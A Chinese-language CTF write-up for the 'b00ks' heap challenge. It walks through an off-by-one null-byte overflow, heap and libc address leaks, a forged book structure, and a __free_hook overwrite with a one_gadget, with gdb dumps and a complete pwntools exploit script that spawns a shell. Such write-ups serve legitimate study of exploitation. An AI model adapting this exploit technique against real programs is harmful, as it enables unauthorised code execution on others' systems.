现在我们已经知道漏洞点是在读入 author name 的时候存在一个 off-by-one 漏洞。另外由于 author name 和 books 之间距离正好为 0x00202060 - 0x00202040 = 0x20,并且 books 是在 author name 之后创建,所以如果 author name 恰好为 0x20 个字节,那么在 Print 的时候存在信息泄露。接下来如果对 author name 进行修改,且仍然为 0x20 字节,则溢出的一个空字节将覆盖掉 books[0] 的低位字节。

思路如下:

  1. 创建两个 book,其中要使第二个 book 的 name 和 description 通过 mmap 分配(请求一块很大的空间),这是因为 mmap 分配的空间与 libc 基址存在固定关系,后续将通过泄露这些地址得到 libc 基址。

  2. 通过 Print,利用信息泄露漏洞得到 book1 在 heap 上的地址,从而计算得到 book2 的地址。

  3. 通过 Edit 在 book1->description 中创建一个 fake book,其 fake->description 指向 book2->name。

  4. 通过 Change author name 造成空字节溢出,使 books[0] 指向伪造的 fake book。

  5. 再次通过 Print 即可打印出 book2->name,这是一个通过 mmap 得到的指针,于是计算出 libc 基址。

  6. 先 Edit 操作 fake book,将 book2->description 修改为 __free_hook 的地址,然后 Edit 操作 book2,即可将 __free_hook 修改为 one_gadget。

  7. 此时 Delete book2,即可执行 one_gadget 获得 shell。

leak_heap

def leak_heap():
    global book2_addr

    io.sendlineafter("name: ", "A" * 0x20)
    Create(0xd0, "AAAA", 0x20, "AAAA")          # book1
    Create(0x21000, "AAAA", 0x21000, "AAAA")    # book2

    Print()
    io.recvuntil("A"*0x20)
    book1_addr = u64(io.recvn(6).ljust(8, "\x00"))
    book2_addr = book1_addr + 0x30

    log.info("book2 address: 0x%x" % book2_addr)

创建两个 book,此时内存布局如下:

gdb-peda$ x/8gx 0x555555756040
0x555555756040:	0x4141414141414141	0x4141414141414141  <-- author name
0x555555756050:	0x4141414141414141	0x4141414141414141
0x555555756060:	0x0000555555758130	0x0000555555758160  <-- books
0x555555756070:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/50gx 0x0000555555758020-0x10
0x555555758010:	0x0000000000000000	0x00000000000000e1  <-- book1->name
0x555555758020:	0x0000000041414141	0x0000000000000000
0x555555758030:	0x0000000000000000	0x0000000000000000
0x555555758040:	0x0000000000000000	0x0000000000000000
0x555555758050:	0x0000000000000000	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000000000
0x555555758070:	0x0000000000000000	0x0000000000000000
0x555555758080:	0x0000000000000000	0x0000000000000000
0x555555758090:	0x0000000000000000	0x0000000000000000
0x5555557580a0:	0x0000000000000000	0x0000000000000000
0x5555557580b0:	0x0000000000000000	0x0000000000000000
0x5555557580c0:	0x0000000000000000	0x0000000000000000
0x5555557580d0:	0x0000000000000000	0x0000000000000000
0x5555557580e0:	0x0000000000000000	0x0000000000000000
0x5555557580f0:	0x0000000000000000	0x0000000000000031  <-- book1->description
0x555555758100:	0x0000000041414141	0x0000000000000000
0x555555758110:	0x0000000000000000	0x0000000000000000
0x555555758120:	0x0000000000000000	0x0000000000000031  <-- book1
0x555555758130:	0x0000000000000001	0x0000555555758020
0x555555758140:	0x0000555555758100	0x0000000000000020
0x555555758150:	0x0000000000000000	0x0000000000000031  <-- book2
0x555555758160:	0x0000000000000002	0x00007ffff7fd2010
0x555555758170:	0x00007ffff7fb0010	0x0000000000021000
0x555555758180:	0x0000000000000000	0x0000000000020e81
0x555555758190:	0x0000000000000000	0x0000000000000000

可以看到 book2 通过 mmap 分配的两个指针并不是指向 heap,而是与 libc 有某种固定关系:

gdb-peda$ vmmap libc
Start              End                Perm	Name
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp	/home/firmy/b00ks/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p	/home/firmy/b00ks/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p	/home/firmy/b00ks/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p	/home/firmy/b00ks/libc-2.23.so
gdb-peda$ vmmap mapped
Start              End                Perm	Name
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p	mapped
0x00007ffff7fb0000 0x00007ffff7ff7000 rw-p	mapped
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p	mapped
gdb-peda$ vmmap heap
Start              End                Perm	Name
0x0000555555757000 0x0000555555779000 rw-p	[heap]

leak_libc

def leak_libc():
    global libc_base

    fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
    Edit(1, fake_book)
    Change("A" * 0x20)

    Print()
    io.recvuntil("Name: ")
    leak_addr = u64(io.recvn(6).ljust(8, "\x00"))
    libc_base = leak_addr - 0x5ca010        # mmap_addr - libc_base

    log.info("libc address: 0x%x" % libc_base)
gdb-peda$ x/8gx 0x555555756040
0x555555756040:	0x4141414141414141	0x4141414141414141
0x555555756050:	0x4141414141414141	0x4141414141414141
0x555555756060:	0x0000555555758100	0x0000555555758160  <-- books[0]
0x555555756070:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/50gx 0x0000555555758020-0x10
0x555555758010:	0x0000000000000000	0x00000000000000e1
0x555555758020:	0x0000000041414141	0x0000000000000000
0x555555758030:	0x0000000000000000	0x0000000000000000
0x555555758040:	0x0000000000000000	0x0000000000000000
0x555555758050:	0x0000000000000000	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000000000
0x555555758070:	0x0000000000000000	0x0000000000000000
0x555555758080:	0x0000000000000000	0x0000000000000000
0x555555758090:	0x0000000000000000	0x0000000000000000
0x5555557580a0:	0x0000000000000000	0x0000000000000000
0x5555557580b0:	0x0000000000000000	0x0000000000000000
0x5555557580c0:	0x0000000000000000	0x0000000000000000
0x5555557580d0:	0x0000000000000000	0x0000000000000000
0x5555557580e0:	0x0000000000000000	0x0000000000000000
0x5555557580f0:	0x0000000000000000	0x0000000000000031  <-- fake book
0x555555758100:	0x0000000000000001	0x0000555555758168
0x555555758110:	0x0000555555758168	0x0000000000000020  <-- fake->description
0x555555758120:	0x0000000000000000	0x0000000000000031  <-- book1
0x555555758130:	0x0000000000000001	0x0000555555758020
0x555555758140:	0x0000555555758100	0x0000000000000020
0x555555758150:	0x0000000000000000	0x0000000000000031  <-- book2
0x555555758160:	0x0000000000000002	0x00007ffff7fd2010  <-- book2->name
0x555555758170:	0x00007ffff7fb0010	0x0000000000021000
0x555555758180:	0x0000000000000000	0x0000000000020e81
0x555555758190:	0x0000000000000000	0x0000000000000000

接下来先是伪造 fake book,然后通过空字节溢出,修改了 books[0] 的低位字节,此时它指向了 fake book。而 fake->description 指向了 book2->name。

通过 Print 即可打印出 book2->name,进而计算出 libc 基址。

overwrite

def overwrite():
    free_hook = libc.symbols['__free_hook'] + libc_base
    one_gadget = libc_base + 0x4526a

    fake_book = p64(free_hook) * 2
    Edit(1, fake_book)
    fake_book = p64(one_gadget)
    Edit(2, fake_book)

依次修改 fake book 和 book2,最终将 __free_hook 修改为 one_gadget:

gdb-peda$ x/50gx 0x0000555555758020-0x10
0x555555758010:	0x0000000000000000	0x00000000000000e1
0x555555758020:	0x0000000041414141	0x0000000000000000
0x555555758030:	0x0000000000000000	0x0000000000000000
0x555555758040:	0x0000000000000000	0x0000000000000000
0x555555758050:	0x0000000000000000	0x0000000000000000
0x555555758060:	0x0000000000000000	0x0000000000000000
0x555555758070:	0x0000000000000000	0x0000000000000000
0x555555758080:	0x0000000000000000	0x0000000000000000
0x555555758090:	0x0000000000000000	0x0000000000000000
0x5555557580a0:	0x0000000000000000	0x0000000000000000
0x5555557580b0:	0x0000000000000000	0x0000000000000000
0x5555557580c0:	0x0000000000000000	0x0000000000000000
0x5555557580d0:	0x0000000000000000	0x0000000000000000
0x5555557580e0:	0x0000000000000000	0x0000000000000000
0x5555557580f0:	0x0000000000000000	0x0000000000000031
0x555555758100:	0x0000000000000001	0x0000555555758168
0x555555758110:	0x0000555555758168	0x0000000000000020  <-- fake->description
0x555555758120:	0x0000000000000000	0x0000000000000031
0x555555758130:	0x0000000000000001	0x0000555555758020
0x555555758140:	0x0000555555758100	0x0000000000000020
0x555555758150:	0x0000000000000000	0x0000000000000031
0x555555758160:	0x0000000000000002	0x00007ffff7dd37a8
0x555555758170:	0x00007ffff7dd37a8	0x0000000000021000  <-- book2->description
0x555555758180:	0x0000000000000000	0x0000000000020e81
0x555555758190:	0x0000000000000000	0x0000000000000000
gdb-peda$ x/gx 0x00007ffff7dd37a8
0x7ffff7dd37a8 <__free_hook>:	0x00007ffff7a5226a
gdb-peda$ pdisass 0x00007ffff7a5226a /7
   0x7ffff7a5226a:	mov    rax,QWORD PTR [rip+0x37ec47]        # 0x7ffff7dd0eb8
   0x7ffff7a52271:	lea    rdi,[rip+0x147adf]        # 0x7ffff7b99d57
   0x7ffff7a52278:	lea    rsi,[rsp+0x30]
   0x7ffff7a5227d:	mov    DWORD PTR [rip+0x381219],0x0        # 0x7ffff7dd34a0
   0x7ffff7a52287:	mov    DWORD PTR [rip+0x381213],0x0        # 0x7ffff7dd34a4
   0x7ffff7a52291:	mov    rdx,QWORD PTR [rax]
   0x7ffff7a52294:	call   0x7ffff7ad9770 <execve>

pwn

def pwn():
    Delete(2)

    io.interactive()

最后 Delete book2,获得 shell。

开启 ASLR,Bingo!!!

$ python exp.py
[+] Starting local process './b00ks': pid 4879
[*] book2 address: 0x562341a04160
[*] libc address: 0x7f87e9425000
[*] Switching to interactive mode
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

#context.log_level = 'debug'

io = process(['./b00ks'], env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF('libc-2.23.so')

def Create(nsize, name, dsize, desc):
    io.sendlineafter("> ", '1')
    io.sendlineafter("name size: ", str(nsize))
    io.sendlineafter("name (Max 32 chars): ", name)
    io.sendlineafter("description size: ", str(dsize))
    io.sendlineafter("description: ", desc)

def Delete(idx):
    io.sendlineafter("> ", '2')
    io.sendlineafter("delete: ", str(idx))

def Edit(idx, desc):
    io.sendlineafter("> ", '3')
    io.sendlineafter("edit: ", str(idx))
    io.sendlineafter("description: ", desc)

def Print():
    io.sendlineafter("> ", '4')

def Change(name):
    io.sendlineafter("> ", '5')
    io.sendlineafter("name: ", name)

def leak_heap():
    global book2_addr

    io.sendlineafter("name: ", "A" * 0x20)
    Create(0xd0, "AAAA", 0x20, "AAAA")          # book1
    Create(0x21000, "AAAA", 0x21000, "AAAA")    # book2

    Print()
    io.recvuntil("A"*0x20)
    book1_addr = u64(io.recvn(6).ljust(8, "\x00"))
    book2_addr = book1_addr + 0x30

    log.info("book2 address: 0x%x" % book2_addr)

def leak_libc():
    global libc_base

    fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
    Edit(1, fake_book)
    Change("A" * 0x20)

    Print()
    io.recvuntil("Name: ")
    leak_addr = u64(io.recvn(6).ljust(8, "\x00"))
    libc_base = leak_addr - 0x5ca010        # mmap_addr - libc_base

    log.info("libc address: 0x%x" % libc_base)

def overwrite():
    free_hook = libc.symbols['__free_hook'] + libc_base
    one_gadget = libc_base + 0x4526a

    fake_book = p64(free_hook) * 2
    Edit(1, fake_book)
    fake_book = p64(one_gadget)
    Edit(2, fake_book)

def pwn():
    Delete(2)

    io.interactive()

if __name__ == "__main__":
    leak_heap()
    leak_libc()
    overwrite()
    pwn()

参考资料

https://ctftime.org/task/2492
下载文件
题目复现
题目解析
漏洞利用
参考资料